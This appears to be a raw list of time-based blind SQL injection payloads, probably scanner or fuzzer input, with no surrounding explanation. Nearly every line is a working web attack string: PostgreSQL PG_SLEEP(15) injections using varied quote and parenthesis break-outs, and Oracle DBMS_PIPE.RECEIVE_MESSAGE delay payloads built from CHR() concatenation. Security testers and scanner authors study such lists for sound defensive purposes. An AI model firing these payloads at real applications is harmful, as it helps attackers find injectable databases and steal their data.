555-1 OR 865=(SELECT 865 FROM PG_SLEEP(15))--

555-1) OR 769=(SELECT 769 FROM PG_SLEEP(15))--

555-1)) OR 130=(SELECT 130 FROM PG_SLEEP(15))--

555qysBrZY9' OR 984=(SELECT 984 FROM PG_SLEEP(15))--

5558knpaoqd') OR 262=(SELECT 262 FROM PG_SLEEP(15))--

5559pLeZAqe')) OR 980=(SELECT 980 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555